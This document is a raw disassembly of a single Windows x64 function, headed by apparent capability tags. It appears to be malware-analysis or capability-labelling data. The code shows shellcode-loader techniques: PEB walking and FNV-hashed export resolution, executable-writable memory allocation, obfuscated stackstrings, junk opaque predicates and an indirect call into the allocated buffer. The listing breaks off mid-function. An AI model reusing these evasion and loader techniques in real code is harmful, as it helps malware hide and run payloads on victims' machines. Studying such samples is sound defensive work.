Function at 0x1400e75a8
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x1403111c0]
xor rax, rsp
mov qword [rbp + 0x68], rax
xor r14d, r14d
mov r10d, r14d
mov dword [rsp + 0x50], r14d
call fcn.1400753c4
movsx r13d, al
call fcn.1400753c0
movsx ecx, al
imul r13d, ecx
call fcn.1400753d0
movsx ebx, al
mov dword [rbp - 0x78], ebx
imul eax, r13d, 7
add eax, ebx
mov dword [rsp + 0x54], eax
lea r9d, [r13*2]
add r9d, r13d
mov r12d, r9d
or r15, 0xffffffffffffffff
mov edi, 0x1000
lea esi, [r14 + 3]
lea ecx, [rbx + r13*4]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x54]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e76e4
call fcn.1400753c8
movsx edx, al
movsx eax, byte [0x1403122a0]
imul edx, eax
add edx, edx
call fcn.1400753d4
movsx ecx, al
sub edx, ecx
call fcn.1400753cc
movsx ecx, al
add edx, ecx
mov r9d, r12d
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e76e4
mov eax, 1
mov dword [rbp - 0x30], eax
jmp 0x1400e7742
lea ecx, [rbx + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e773f
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
jmp 0x1400e76df
mov eax, dword [rbp - 0x30]
cmp r10d, eax
jge 0x1400e8dc0
mov dword [rbp - 0x10], r14d
mov dword [rsp + 0x60], 0xbfbac2dc
mov dword [rsp + 0x64], 0x10c4ceb9
mov dword [rsp + 0x68], 0x363d393a
mov byte [rsp + 0x6c], 0xca
xor eax, eax
mov dword [rsp + 0x6d], eax
mov byte [rsp + 0x71], al
mov qword [rsp + 0x20], r14
jmp 0x1400e77c4
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0x6d7c4ce49526f479
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x4f
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x12
jb 0x1400e777d
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r14
lea rax, [rsp + 0x60]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e77e6
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x18]
call fcn.1400110fc
nop
mov dword [rsp + 0x30], 0x717a6e73
mov dword [rsp + 0x34], 0xb1bd7569
mov dword [rsp + 0x38], 0x7f7861bc
mov byte [rsp + 0x3c], 0x8a
xor eax, eax
mov qword [rsp + 0x3d], rax
mov dword [rsp + 0x45], eax
mov word [rsp + 0x49], ax
mov qword [rsp + 0x20], r14
jmp 0x1400e7879
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0xb531666c64e10dc1
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x47
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1b
jb 0x1400e7832
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e789b
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.1400110fc
nop
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 8]
call fcn.1400bf5f4
mov edx, 0x2000
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call rax
mov rbx, rax
mov qword [rbp - 0x80], rax
mov rdx, qword [rbp + 0x10]
mov r12d, reloc.WS2_32.dll_ntohs
cmp rdx, r12
jbe 0x1400e7916
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e7911
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e8d96
call fcn.14017fd24
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r12
mov byte [rbp - 8], r14b
mov rdx, qword [rbp + 0x30]
cmp rdx, r12
jbe 0x1400e7958
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e7953
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e8d9d
call fcn.14017fd24
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r12
mov byte [rbp + 0x18], r14b
lea rax, [rbx + 0xffa]
mov qword [rbp + 0x38], rax
add rbx, 0x1000
mov dword [rsp + 0x30], 0xef70ef5
mov word [rsp + 0x34], 0xe6f2
mov byte [rsp + 0x36], 0x60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x37], xmm0
mov word [rsp + 0x47], ax
mov qword [rsp + 0x20], r14
jmp 0x1400e79e7
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x128985620b9ed3f1
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x69
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x19
jb 0x1400e79a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e7a09
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.1400110fc
nop
mov dword [rsp + 0x60], 0x7e8e8c81
mov dword [rsp + 0x64], 0x734a8180
mov word [rsp + 0x68], 0x8d8a
mov byte [rsp + 0x6a], Ordinal_26
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x6b], xmm0
mov word [rsp + 0x7b], ax
mov qword [rsp + 0x20], r14
jmp 0x1400e7a9a
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0xbb93de52a1a87c03
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x15
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1d
jb 0x1400e7a53
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x60]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e7abc
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.1400110fc
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x70]
call fcn.1400d1844
mov r8d, 6
lea rdx, [0x14031097c]
mov rcx, qword [rbp + 0x38]
call rax
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, r12
jbe 0x1400e7b2b
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e7b26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e8da4
call fcn.14017fd24
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r12
mov byte [rbp - 0x70], r14b
mov rdx, qword [rbp - 0x38]
cmp rdx, r12
jbe 0x1400e7b6d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e7b68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e8dab
call fcn.14017fd24
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r12
mov byte [rbp - 0x50], r14b
mov qword [rbp + 0x40], rbx
mov r9, qword [0x1403149e8]
test r9, r9
jne 0x1400e7d04
mov r15d, 0xaae02ba9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov r11, r12
xor edx, edx
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x1400e7bf8
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400e7be8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400e7bd9
cmp edx, r14d
jne 0x1400e7cd8
xor edx, edx
mov r8, qword [r11 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r10d, eax
add r10, r8
shr rax, 0x20
cmp r10, r8
je 0x1400e7cda
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1400e7cda
mov esi, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov ebx, 0x811c9dc5
jmp 0x1400e7c4b
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400e7c40
cmp ebx, r15d
je 0x1400e7c62
xor edx, edx
test r9d, r9d
jne 0x1400e7c2c
jmp 0x1400e7cda
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
cmp r9, r10
jbe 0x1400e7d7e
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1400e7d7e
mov r14d, 0x811c9dc5
mov r15d, r14d
jmp 0x1400e7cad
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x1400e7c9d
inc r9
xor edx, edx
jmp 0x1400e7ccb
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x1400e7cbb
mov r11, qword [r12]
jmp 0x1400e7cda
xor edx, edx
mov rax, qword [r11]
mov r11, rax
cmp rax, r12
je 0x1400e7cef
cmp qword [rax + 0x30], rdx
jne 0x1400e7bac
xor r14d, r14d
mov r9d, r14d
mov qword [0x1403149e8], r9
or r15, 0xffffffffffffffff
lea esi, [r15 + 4]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x40]
mov rcx, r15
call r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rdi, [rbp + 0x98]
movabs rax, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdi
mov rbx, qword [rdi]
xor rbx, rax
mov qword [rsp + 0x30], rbx
mov qword [rdi], r14
mov ecx, r14d
mov rax, qword [0x1403122b0]
lea r12, [0x140000000]
test rax, rax
je 0x1400e7d97
mov r8, r14
lea rdx, [0x1400773f8]
cmp rax, rdx
je 0x1400e7d86
inc ecx
mov r8d, ecx
mov rax, qword [r12 + rcx*8 + 0x3122b0]
test rax, rax
jne 0x1400e7d65
jmp 0x1400e7d97
xor r14d, r14d
jmp 0x1400e7cf5
mov r8, qword [r12 + r8*8 + 0x3125d0]
test r8, r8
jne 0x1400e7e7f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e7dbe
mov r8, r14
jmp 0x1400e7e57
lea rax, [0x1400773f8]
mov rcx, r8
mov rdx, rsi
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e7dd1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1403122a8]
lea rcx, [0x1400773f8]
mov qword [r12 + rax*8 + 0x3122b0], rcx
mov qword [r12 + rax*8 + 0x3125d0], r8
inc rax
mov qword [0x1403122a8], rax
lea rdx, [rbp + 0x38]
lea rcx, [0x1400f36c0]
call r8
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
mov qword [rsp + 0x30], rbx
mov qword [rdi], rbx
mov r9, qword [0x1403149e8]
test r9, r9
jne 0x1400e801d
mov r15d, 0xaae02ba9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov r11, r12
xor edx, edx
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x1400e7f1e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400e7f0e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400e7eff
cmp edx, r14d
jne 0x1400e7ff8
xor edx, edx
mov r8, qword [r11 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r10d, eax
add r10, r8
shr rax, 0x20
cmp r10, r8
je 0x1400e7ffa
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1400e7ffa
mov esi, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov ebx, 0x811c9dc5
jmp 0x1400e7f71
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400e7f66
cmp ebx, r15d
je 0x1400e7f88
xor edx, edx
test r9d, r9d
jne 0x1400e7f52
jmp 0x1400e7ffa
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
cmp r9, r10
jbe 0x1400e8012
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1400e8012
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x1400e7fcd
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x1400e7fbd
inc r9
xor edx, edx
jmp 0x1400e7feb
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x1400e7fdb
mov r11, qword [r12]
jmp 0x1400e7ffa
xor edx, edx
mov rax, qword [r11]
mov r11, rax
cmp rax, r12
je 0x1400e800f
cmp qword [rax + 0x30], rdx
jne 0x1400e7ed2
mov r9, rdx
mov qword [0x1403149e8], r9
or r15, 0xffffffffffffffff
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x40]
mov rcx, r15
call r9
lea eax, [r13*2]
add eax, r13d
mov r12d, dword [rbp - 0x78]
lea r14d, [r12 + rax*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
mov r10d, dword [rsp + 0x54]
cmp eax, ecx
je 0x1400e87ec
xor r9d, r9d
mov esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e812d
call fcn.1400753c8
movsx edx, al
movsx eax, byte [0x1403122a0]
imul edx, eax
add edx, edx
call fcn.1400753d4
movsx ecx, al
sub edx, ecx
call fcn.1400753cc
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e812d
mov eax, 1
mov dword [rbp - 0x2c], eax
lea r11d, [r13*8]
add r11d, r13d
jmp 0x1400e81a0
lea r11d, [r13*8]
add r11d, r13d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e819d
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ebx, [r13*2]
add ebx, r13d
add eax, ebx
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x2c], eax
jmp 0x1400e81ab
mov eax, dword [rbp - 0x2c]
lea ebx, [r13*2]
add ebx, r13d
cmp esi, eax
jge 0x1400e848e
mov rdi, qword [rbp + 0x38]
lea rax, [0x14031097c]
sub rdi, rax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e843f
lea rax, [rdi + r9]
lea rcx, [0x14031097c]
mov r8b, byte [rax + rcx]
mov dl, byte [r9 + rcx]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xor eax, eax
cmp r8b, dl
setne al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e829f
call fcn.1400753c8
movsx edx, al
movsx eax, byte [0x1403122a0]
imul edx, eax
add edx, edx
call fcn.1400753d4
movsx ecx, al
sub edx, ecx
call fcn.1400753cc
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e829f
mov dword [rbp - 0x28], 1
lea r10d, [r13*8]
add r10d, r13d
jmp 0x1400e82fa
mov r10d, r11d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e82fa
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x28], eax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r12d
lea eax, [rax + r13*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x28]
test eax, eax
je 0x1400e843a
add ebx, r12d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x54]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e83d8
call fcn.1400753c8
movsx edx, al
movsx eax, byte [0x1403122a0]
imul edx, eax
add edx, edx
call fcn.1400753d4
movsx ecx, al
sub edx, ecx
call fcn.1400753cc
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
jne 0x1400e845b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r12d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e8431
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si r8d, xmm0
mov dword [rbp - 0x24], r8d
jmp 0x1400e8435
mov r8d, dword [rbp - 0x24]
test r8d, r8d
jg 0x1400e8462
mov r10d, dword [rsp + 0x54]
inc r9
cmp r9, 6
lea ebx, [r13 + r13*2]
jb 0x1400e81c1
inc esi
xor r9d, r9d
jmp 0x1400e806f
mov dword [rbp - 0x24], 1
mov edx, 1
lea rax, [0x14031097c]
mov cl, byte [r9 + rax]
mov rax, qword [rbp + 0x38]
cmp byte [r9 + rax], cl
cmovl edx, r15d
mov dword [rbp - 0x1c], edx
mov r10d, dword [rsp + 0x54]
xor r11d, r11d
jmp 0x1400e85b9
lea r9d, [r11 + r12]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e8547
call fcn.1400753c8
movsx edx, al
movsx eax, byte [0x1403122a0]
imul edx, eax
add edx, edx
call fcn.1400753d4
movsx ecx, al
sub edx, ecx
call fcn.1400753cc
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e8547
mov dword [rbp - 0x20], 1
xor r11d, r11d
jmp 0x1400e85ae
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e85a3
lea ecx, [r12 + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x20], eax
jmp 0x1400e85a6
mov eax, dword [rbp - 0x20]
xor r11d, r11d
cmp r11d, eax
jge 0x1400e85b6
mov edx, r11d
mov dword [rbp - 0x1c], edx
jmp 0x1400e85b9
mov edx, dword [rbp - 0x1c]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r11
test edx, edx
setne al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e8655
call fcn.1400753c8
movsx edx, al
movsx eax, byte [0x1403122a0]
imul edx, eax
add edx, edx
call fcn.1400753d4
movsx ecx, al
sub edx, ecx
call fcn.1400753cc
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e8655
mov dword [rbp - 0x18], 1
jmp 0x1400e86b6
lea ecx, [r12 + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
